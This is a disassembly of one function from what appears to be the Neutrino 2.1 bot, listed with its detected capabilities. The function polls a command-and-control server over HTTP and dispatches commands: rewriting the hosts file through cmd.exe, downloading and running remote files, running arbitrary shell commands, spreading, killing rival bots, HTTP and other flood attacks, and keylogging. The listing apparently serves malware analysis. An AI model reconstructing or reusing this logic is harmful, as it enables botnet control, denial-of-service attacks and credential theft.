Function at 0x402c0a
Capabilities:
Create process on windows
Delete file
Download url
Query environment variable
Receive data
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x17b0
call fcn.00406d00
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
lea eax, [ebp - 0x727]
mov ecx, 0x166
lea edi, [ebp - 0x9ac]
push eax
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402c4a
push eax
call fcn.004025c2
pop ecx
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x402c51
xor eax, eax
jmp 0x4034df
push 0x800
call fcn.004054ca
mov ebx, dword [ebp + 0xc]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
mov edi, eax
test ebx, ebx
jne 0x402cc7
cmp byte [ebp - 0x41b], 0
mov eax, 0x407a84
jne 0x402c7e
mov eax, 0x407a88
lea ecx, [ebp - 0x727]
push ecx
push dword [ebp - 0x418]
lea ecx, [ebp - 0x51f]
push ecx
push 0x407a80
push eax
lea eax, [ebp - 0x7a7]
push eax
lea eax, [ebp - 0x827]
push eax
lea eax, [ebp - 0x9ac]
push eax
lea eax, [ebp - 0x92c]
push eax
push eax
lea eax, [ebp - 0x623]
push eax
push str.GET__s_getcmd1uid_scn_s:_sos_sav_snat_sversion_sserial_squality_i_HTTP_1.0_r_nUser_Agent:_Neutrino_2.1_r_nHost:__s_r_n_r_n
push edi
call esi
add esp, 0x34
cmp ebx, 1
jne 0x402ce8
lea eax, [ebp - 0x727]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x623]
push eax
push str.GET__s_taskexec1task_id_s_HTTP_1.0_r_nUser_Agent:_Neutrino_2.1_r_nHost:__s_r_n_r_n
push edi
call esi
add esp, 0x14
cmp ebx, 2
jne 0x402d09
lea eax, [ebp - 0x727]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x623]
push eax
push str.GET__s_taskfail1task_id_s_HTTP_1.0_r_nUser_Agent:_Neutrino_2.1_r_nHost:__s_r_n_r_n
push edi
call esi
add esp, 0x14
push 0
mov ecx, edi
call fcn.00405d8d
push eax
push edi
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_send]
push edi
mov esi, eax
call fcn.004054e1
xor eax, eax
pop ecx
cmp esi, 0xffffffff
je 0x4034df
inc eax
cmp ebx, eax
je 0x4034df
and dword [ebp + 8], 0
lea eax, [ebp + 8]
push eax
push dword [ebp - 8]
call fcn.00402836
pop ecx
pop ecx
push dword [ebp - 8]
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 0xc]
call fcn.00405ce1
test al, al
jne 0x402c4a
cmp dword [ebp + 8], 3
jb 0x402c4a
push 0x2800
call fcn.004054ca
mov eax, dword [ebp - 0xc]
pop ecx
call fcn.00402211
mov dword [ebp - 0x10], eax
call fcn.00405ce1
test al, al
jne 0x402c4a
xor ebx, ebx
mov esi, 0x3fc
push esi
lea eax, [ebp - 0xda8]
push ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0xdac], ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x410]
push ebx
push eax
mov dword [ebp - 0x414], ebx
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.MSVCRT.dll_strtok]
add esp, 0xc
mov edi, 0x407bb8
push edi
push dword [ebp - 0x10]
call esi
pop ecx
pop ecx
jmp 0x402dfc
push eax
push ebx
mov dword [ebp + ebx*4 - 0xdac], eax
call fcn.00406c27
inc dword [ebp - 8]
push edi
push 0
call esi
add esp, 0x10
inc ebx
test eax, eax
jne 0x402de2
push 0x9ff
mov byte [ebp - 0x17ac], al
xor esi, esi
lea eax, [ebp - 0x17ab]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp + 0xc], esi
cmp dword [ebp - 8], esi
jl 0x4034ca
mov edi, dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + esi*4 - 0xdac]
mov eax, ebx
call fcn.00405ce1
test al, al
jne 0x4034bb
mov eax, ebx
test eax, eax
je 0x4034bb
cmp byte [eax], 0x2d
jne 0x402e69
jmp 0x402e68
cmp cl, 0x30
jl 0x4034bb
cmp cl, 0x39
jg 0x4034bb
inc eax
mov cl, byte [eax]
test cl, cl
jne 0x402e56
mov ecx, ebx
call fcn.00405d8d
cmp eax, 0xa
jle 0x4034bb
push ebx
call fcn.00405e9e
test eax, eax
jne 0x4034bb
push ebx
call fcn.00405f29
push ebx
call fcn.00406c27
add esp, 4
push dword [ebp + esi*4 - 0xda8]
lea eax, [ebp - 0x17ac]
push 0x40754c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.MSVCRT.dll_strtok]
add esp, 0xc
lea eax, [ebp - 0x17ac]
push 0x407bbc
push eax
call esi
and dword [ebp + 8], 0
pop ecx
pop ecx
jmp 0x402ef4
mov ecx, dword [ebp + 8]
push eax
push ecx
mov dword [ebp + ecx*4 - 0x414], eax
call fcn.00406c27
push 0x407bbc
push 0
call esi
add esp, 0x10
inc dword [ebp + 8]
test eax, eax
jne 0x402ed4
push str.rate
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x402f1a
push dword [ebp - 0x410]
call fcn.00406023
pop ecx
push str.hosts
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x402f7b
push 0x208
call fcn.00405428
pop ecx
push dword [ebp - 0x40c]
mov esi, eax
push dword [ebp - 0x410]
push str.__a__c_echo__s__s______windir___system32driversetchosts
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push esi
push str.cmd.exe
call fcn.0040263d
add esp, 0x18
push edi
test al, al
je 0x402f6c
push 1
jmp 0x402f6e
push 2
push ebx
call fcn.00402c0a
push esi
call fcn.00405460
pop ecx
push str.update
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x403073
cmp dword [ebp + 8], 2
jne 0x403073
push dword [ebp - 0x410]
call fcn.004063a7
pop ecx
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x402fc0
push edi
push 2
push ebx
call fcn.00402c0a
jmp 0x403073
mov edi, 0x104
push edi
call fcn.00405428
pop ecx
push edi
mov esi, eax
push esi
push str._WINDIR_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push esi
call fcn.0040488a
mov edi, eax
mov dword [esp], 0x104
call fcn.00405428
mov esi, eax
mov dword [esp], 0x104
push esi
push str._APPDATA_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x407c34
mov ecx, esi
call fcn.00405db8
pop ecx
push edi
mov ecx, esi
call fcn.00405db8
pop ecx
xor eax, eax
push eax
push eax
push esi
push dword [ebp - 0x410]
push eax
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x403054
push dword [ebp + 0x10]
push 1
push ebx
call fcn.00402c0a
push 0
push esi
call fcn.0040263d
pop ecx
pop ecx
test al, al
jne 0x4034e6
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call fcn.00405fae
push edi
call fcn.00405460
pop ecx
push esi
call fcn.00405460
mov esi, dword [ebp - 0x14]
pop ecx
call fcn.0040633f
mov edi, dword [ebp + 0x10]
push str.loader
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x4030cd
push dword [ebp - 0x410]
call fcn.004063a7
mov esi, eax
pop ecx
test esi, esi
jne 0x4030a6
push edi
push 2
push ebx
call fcn.00402c0a
jmp 0x4030cd
push dword [ebp - 0x40c]
push dword [ebp - 0x410]
call fcn.004020cc
push edi
test eax, eax
je 0x4030c0
push 1
jmp 0x4030c2
push 2
push ebx
call fcn.00402c0a
call fcn.0040633f
push str.findfile
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x403131
cmp dword [ebp + 8], 4
jne 0x403131
push dword [ebp - 0x408]
call dword [sym.imp.MSVCRT.dll_atoi]
and dword [0x40a4d4], 0
pop ecx
push eax
push dword [ebp - 0x40c]
lea eax, [ebp - 0x623]
push dword [ebp - 0x410]
push eax
lea eax, [ebp - 0x727]
push eax
call fcn.00402400
xor esi, esi
inc esi
add esp, 0x14
cmp eax, esi
jl 0x403134
push edi
push esi
push ebx
call fcn.00402c0a
jmp 0x403134
xor esi, esi
inc esi
push 0x407c4c
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x4031be
push 0x104
call fcn.00405428
pop ecx
mov edi, eax
mov ecx, str._a__c
call fcn.00405d9f
xor esi, esi
inc esi
cmp dword [ebp + 8], esi
jle 0x403191
push dword [ebp + esi*4 - 0x414]
mov ecx, edi
call fcn.00405db8
cmp dword [ebp + 8], 2
pop ecx
jle 0x40318b
push 0x407bbc
mov ecx, edi
call fcn.00405db8
pop ecx
inc esi
cmp esi, dword [ebp + 8]
jl 0x403169
push edi
push str.cmd.exe
call fcn.0040263d
pop ecx
pop ecx
push dword [ebp + 0x10]
test al, al
je 0x4031a9
push 1
jmp 0x4031ab
push 2
push ebx
call fcn.00402c0a
push edi
call fcn.00405460
mov edi, dword [ebp + 0x10]
xor esi, esi
pop ecx
inc esi
push str.visit
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x4031f1
push eax
push eax
push eax
push dword [ebp - 0x410]
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
push esi
push ebx
call fcn.00402c0a
push str.spread
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x40325f
cmp dword [ebp + 8], 2
jne 0x40325f
push str.archive
push dword [ebp - 0x410]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x403232
push edi
push esi
push ebx
call fcn.00402c0a
call fcn.0040154b
jmp 0x40325f
push 0x407c78
push dword [ebp - 0x410]
call fcn.00405e5f
pop ecx
pop ecx
push edi
test eax, eax
jne 0x403257
push esi
push ebx
call fcn.00402c0a
call fcn.00406707
jmp 0x40325f
push 2
push ebx
call fcn.00402c0a
push str.botkiller
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x403284
push esi
call fcn.00405400
pop ecx
push edi
push esi
push ebx
call fcn.00402c0a
push str.http
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x4032d0
cmp dword [ebp + 8], 5
jne 0x4032d0
push dword [ebp - 0x410]
call fcn.004063a7
pop ecx
test eax, eax
jne 0x4032b5
push edi
push 2
jmp 0x4032ca
push ebx
call fcn.00405fae
xor edx, edx
lea eax, [ebp - 0x414]
call fcn.00401efe
push edi
push esi
push ebx
call fcn.00402c0a
push str.slow
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x40331c
cmp dword [ebp + 8], 4
jne 0x40331c
push dword [ebp - 0x410]
call fcn.004063a7
pop ecx
test eax, eax
jne 0x403301
push edi
push 2
jmp 0x403316
push ebx
call fcn.00405fae
mov edx, esi
lea eax, [ebp - 0x414]
call fcn.00401efe
push edi
push esi
push ebx
call fcn.00402c0a
push str.dwflood
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x403369
cmp dword [ebp + 8], 4
jne 0x403369
push dword [ebp - 0x410]
call fcn.004063a7
pop ecx
test eax, eax
jne 0x40334d
push edi
push 2
jmp 0x403363
push ebx
call fcn.00405fae
push 2
pop edx
lea eax, [ebp - 0x414]
call fcn.00401efe
push edi
push esi
push ebx
call fcn.00402c0a
push 0x407ca0
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x4033b7
cmp dword [ebp + 8], 5
jne 0x4033b7
push dword [ebp - 0x410]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
je 0x4033ae
push ebx
call fcn.00405fae
push 3
pop edx
lea eax, [ebp - 0x414]
call fcn.00401efe
push edi
push esi
jmp 0x4033b1
push edi
push 2
push ebx
call fcn.00402c0a
push 0x407ca4
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x403405
cmp dword [ebp + 8], 5
jne 0x403405
push dword [ebp - 0x410]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
je 0x4033fc
push ebx
call fcn.00405fae
push 4
pop edx
lea eax, [ebp - 0x414]
call fcn.00401efe
push edi
push esi
jmp 0x4033ff
push edi
push 2
push ebx
call fcn.00402c0a
push str.smart
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x403452
cmp dword [ebp + 8], 4
jne 0x403452
push dword [ebp - 0x410]
call fcn.004063a7
pop ecx
test eax, eax
jne 0x403436
push edi
push 2
jmp 0x40344c
push ebx
call fcn.00405fae
push 5
pop edx
lea eax, [ebp - 0x414]
call fcn.00401efe
push edi
push esi
push ebx
call fcn.00402c0a
push str.https
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x40349f
cmp dword [ebp + 8], 4
jne 0x40349f
push dword [ebp - 0x410]
call fcn.004063a7
pop ecx
test eax, eax
jne 0x403483
push edi
push 2
jmp 0x403499
push ebx
call fcn.00405fae
push 6
pop edx
lea eax, [ebp - 0x414]
call fcn.00401efe
push edi
push esi
push ebx
call fcn.00402c0a
push str.keylogger
push dword [ebp - 0x414]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x4034bb
cmp dword [ebp + 8], 2
je 0x4034f3
inc dword [ebp + 0xc]
mov eax, dword [ebp + 0xc]
cmp eax, dword [ebp - 8]
jle 0x402e2c
push dword [ebp - 0xc]
call fcn.004054e1
pop ecx
push dword [ebp - 0x10]
call fcn.004054e1
xor eax, eax
pop ecx
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
call fcn.0040265a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp + 0xc]
push dword [ebp + eax*4 - 0xdac]
call fcn.00405fae
lea eax, [ebp - 0x623]
push eax
lea eax, [ebp - 0x727]
push eax
push dword [ebp - 0x410]
call fcn.00405117
int3